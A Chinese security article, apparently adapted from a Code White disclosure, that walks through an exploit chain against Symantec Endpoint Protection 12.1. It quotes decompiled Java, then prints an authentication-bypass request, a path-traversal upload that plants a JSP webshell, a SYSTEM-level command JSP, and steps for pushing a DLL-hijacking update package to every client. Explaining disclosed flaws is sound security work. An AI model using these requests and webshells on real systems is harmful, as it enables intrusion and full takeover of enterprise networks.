利用赛门铁克Symantec Endpoint Protection漏洞渗透企业网络

文中提及的部分技术可能带有一定攻击性，仅供安全学习和教学用途，禁止非法使用。

1．引言

Markus Wulftange在7月30日报告了赛门铁克端点保护Symantec Endpoint Protection (SEP)  12.1的数个高危漏洞。只有升级到12.1 RU6 MP1的版本不被影响。

简单介绍一下，SEP 是一个企业版的杀毒产品，分为管理端和客户端。管理端是提供web UI,允许管理员管理和察看客户端的状态和客户端的病毒感染事件等等。而客户端基本上就是一个普通的赛门铁克杀毒软件，但是接受管理端的管理并且定时上报自己的状态。值得一提的是，管理员还可以在管理端部署安装升级包，以便客户端通过管理端来进行升级。

这种架构的问题是，一旦攻击者拿下了管理端，得到了管理员的权限，那么他就可以重新部署安装升级包，把木马藏进安装包，推送至客户端执行，从而拿下整个企业网络。 本文重点介绍这几个漏洞和利用方法：攻击者最终可以在管理端和所有客户端得到 'NT Authority/SYSTEM' 的权限。

2．攻击SEP管理端

攻击以SEP管理端的登陆页面为突破口，因为登陆页面是暴露在最外层的接口。

2.1 CVE-2015-1486: 绕过SEP管理端登陆认证

当用户认证以后，setAdminCredential()把用户信息存在与当前session相关的AdminCredential对象中。而阅读源代码后发现，setAdminCredential()在两个地方被调用，一个在LoginHandler类里面，一个在ResetPasswordHandler类里面。奇怪的是，setAdminCredential()为什么会在ResetPasswordHandler类里面被调用呢？看起来很可疑，这个值得我们研究一下。从名称上看，ResetPasswordHandler类用来处理口令重置，其中handleRequest()方法的代码如下

/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) /*     */   { /*  72 */     this.requestData = requestData; /*  73 */     String userName = (String)requestData.get("UserID"); /*  74 */     String domainName = (String)requestData.get("Domain"); /*     */ /*  76 */     NodeList list = doc.getElementsByTagName("Response"); /*  77 */     Element root = (Element)list.item(0); /*     */     try /*     */     { /*  80 */       if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) { /*  81 */         throw new ServerException(-2130182144, 186); /*     */       } /*     */ /*  84 */       checkIfSiteCanRecoverPasswords(); /*  85 */       init(); /*     */ /*  87 */       if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) { /*  88 */         ServerLogger.log(Level.INFO, "Problem with Mail server Configuration"); /*  89 */         throw new ServerException(-2130182144, 179); /*     */       } /*     */ /*  92 */       AdminCredential credential = getCredential(requestData, session); /*     */ /*  94 */       if ((credential != null) && (credential.getAdminID() != null)) { /*  95 */         Integer mode = credential.getOptAuthenticationMethod(); /*  96 */         if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) { /*  97 */           ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password."); /*     */ /* 100 */           throw new ServerException(-2130182144, 191); /*     */         } /*     */ /*     */       } /*     */ /* 106-137 skipped */ /*     */ /*     */     } /*     */     catch (ServerException e) { /* 142 */       root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId())); /*     */     } /*     */   }

92行调用了getCredential()方法，用以取出AdminCredential对象。AdminCredential对象包含用户的信息，比如用户名，邮箱地址，口令hash值等等。以下是getCredential()的代码

/*     */   protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException /*     */   { /* 367 */     session = session.getNewSession(); /* 368 */     AdminCredential credential = doGetAdminCredentialWithoutAuthentication(); /* 369 */     session.setAdminCredential(credential); /* 370 */     return credential; /*     */   }

367行创建了一个新的session,也就产生了一个新的JsessionID cookie。 有意思的是第368行，用doGetAdminCredentialWithoutAuthentication()无需任何认证就根据用户输入的用户名和域名得到了一个AdminCredential对象。

最后，在369行，这个AdminCredential对象和新创建的session关联起来。使得该session成为了一个拥有SEP管理员权限的session.也就是说，发出一个口令重设请求，你就得到了一个拥有SEP管理员权限的session.

发一个POST请求验证一下

POST /servlet/ConsoleServlet HTTP/1.1 Host: 192.168.40.133:8443 Content-Type: application/x-www-form-urlencoded Content-Length: 45 ActionType=ResetPassword&UserID=admin&Domain=

得到

HTTP/1.1 200 OK Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: text/xml;charset=UTF-8 Date: Tue, 30 Jun 2015 11:19:30 GMT Server: SEPM Content-Length: 971   <?xml version="1.0" encoding="UTF-8" standalone="no"?> <Response ResponseCode="-2130181964">   <ReportingElement><?xml version="1.0" encoding="UTF-8" standalone="no"?>
 <ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/>
 </ReportingElement> </Response>

这个HTTP响应包含了一个JSESSIONID cookie，用于关联新创建的管理员session。 注意，虽然有管理员权限，但是由于某些限制，这个session还是无法用于直接登陆管理端。 然而测试发现攻击者可以用这个session使用其他web API，比如，创建一个新的管理员账号。从而攻击者可以用这个新创建的账号登陆管理端。而且这个session还可以继续用于下一个漏洞。

2．2 CVE-2015-1487: 任意文件写入

UploadPackage允许管理员把客户端的安装包上传到管理端，以便客户端升级维护。 然而这里有一个任意文件写入的漏洞，看源代码

/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) /*     */   { /*  54 */     NodeList list = doc.getElementsByTagName("Response"); /*  55 */     Element root = (Element)list.item(0); /*  56 */     String action = (String)requestData.get("Action"); /*  57 */     String id = (String)requestData.get("GUID"); /*  58 */     String fileType = (String)requestData.get("FILE_TYPE"); /*  59 */     String newId = (String)requestData.get("NEW_GUID"); /*     */ /*  60-187 skipped */ /*     */ /* 189 */       if (action.equalsIgnoreCase("UploadPackage")) { /* 190 */         String fileName = (String)requestData.get("PackageFile"); /* 191 */         String dirName = (String)requestData.get("KnownHosts"); /*     */         /* 193 */         this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH); /*     */         /*     */ /* 196 */         if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("//"))) { /* 197 */           this.packageTempPath = (this.packageTempPath + File.separator + dirName); /*     */         } /* 199 */         String path = this.packageTempPath + File.separator + fileName; /* 200 */         FileOutputStream fos = null; /* 201 */         BufferedOutputStream bos = null; /* 202 */         Object is = null; /* 203 */         BufferedInputStream bis = null; /*     */         /* 205 */         File folder = new File(this.packageTempPath); /* 206 */         if (!folder.exists()) { /* 207 */           if (!folder.mkdirs()) { /* 208 */             root.setAttribute("ResponseCode", String.valueOf(303169573)); /*     */           } /*     */         } /*     */         else { /*     */           try /*     */           { /* 214 */             Utility.emptyDir(folder.getCanonicalPath(), false); /*     */           } catch (IOException e) { /* 216 */             ServerLogger.log(this, e); /* 217 */             root.setAttribute("ResponseCode", String.valueOf(303169573)); /*     */             /* 219 */             return; /*     */           } /*     */         } /*     */         /* 223 */         byte[] buf = new byte[1024]; /* 224 */         int read = 0; /*     */         try /*     */         { /* 227 */           is = new BufferedInputStream(requestData.getInputStream()); /* 228 */           fos = new FileOutputStream(path); /* 229 */           bos = new BufferedOutputStream(fos); /* 230 */           bis = new BufferedInputStream((InputStream)is); /* 231 */           while ((read = bis.read(buf)) > 0) { /* 232 */             bos.write(buf, 0, read); /*     */           } /* 234 */           bos.flush(); /* 235 */           root.setAttribute("ResponseCode", String.valueOf(0)); /*     */         } catch (IOException ex) { /* 237 */           ServerLogger.log(this, ex); /* 238 */           root.setAttribute("ResponseCode", String.valueOf(303169573)); /*     */         } /*     */         finally /*     */         { /* 242 */           IOUtilities.closeInputStream((InputStream)is); /* 243 */           IOUtilities.closeInputStream(bis); /* 244 */           IOUtilities.closeOutputStream(fos); /* 245 */           IOUtilities.closeOutputStream(bos); /*     */         } /*     */         /* 247-328 skipped */ /*     */         /*     */       } /*     */   }

注意189行到191行，上传文件时，文件名和文件目标路径分别取值于PackageFile和KnownHosts属性。

196行，这里有个检查，目标路径禁止包含'/' and ’//’，可惜的是，检查过以后，199行又把文件名和目标路径组装在了一起。那么，如果我们把目标路径写在文件名里面，就可以绕过检查。

POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1 Host: 192.168.40.133:8443 Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40 Content-Length: 124   <%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("//A").next()%>

这样，我们就可以得到一个 'NT Service/semsrv'的权限的cmd.

2.3 CVE-2015-1489: SEP管理端主机提权

在SEP管理端, 有一个名为SemLaunchSvc.exe的服务。该服务有'NT Authority/SYSTEM'权限，用来处理一些需要高权限的操作，比如实时升级等。这个服务监听本地8447端口与管理端程序通信。而管理端用一个名为SemLaunchService的类来实现和SemLaunchSvc.exe通信。该类支持CommonCMD，可以打开一个cmd。

既然我们已经可以上传并执行任意java代码，那么我们可以进一步调用SemLaunchService中的CommonCMD, 从而得到管理端主机的 'NT Authority/SYSTEM' 权限。

<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <% try {               out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd"))));        } catch (Exception e) {        } %>

3. 攻击SEP客户端

3.1 CVE-2015-1492:SEP 客户端二进制植入

一旦有了管理端的权限，攻击者就可以在管理端添加一个修改过的客户端升级安装包，然后通过管理端把伪装的安装包推送到客户端上并执行。当然这里还要用到一个DLL劫持漏洞。这个漏洞劫持或者替换正常的DLL，欺骗正常程序加载攻击者预先准备好的恶意DLL。

安装升级SEP客户端的时候，SEP客户端ccSvcHst.exe首先会打开安装包，在里面找到一个名为smcinst.exe的程序，并且启动之，而smcinst.exe会调用一些系统DLL, 比如说UxTheme.dll。这里很可能smcinst.exe使用了相对路径来调入DLL, 并且没有检查DLL的签名。这样攻击者只要在安装包里加入一个伪造的UxTheme.dll就可以啦！由于LoadLibrary的特性，同在安装包下的这个伪造的UxTheme.dll会优先被调入。而一旦被调入，这个伪造的UxTheme.dll可以拥有NT Authority/SYSTEM权限。

那怎么把伪造的dll文件加到安装包里面，并推送到客户端呢？

1． 在SEP管理端导出安装包 2． 修改该安装包的版本为更高版本，比如12.2.0000，把准备好的恶意UxTheme.dll文件拷入安装包 3． 在SEP管理端导入安装包并修改升级选项。 4． 总结

管理端的保护是众中之重，一旦管理端被突破，客户端则难保，从而整个企业网络沦陷。

* 原文地址： codewhitesec ， FreeBuf特约作者/ nickchang  投稿，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）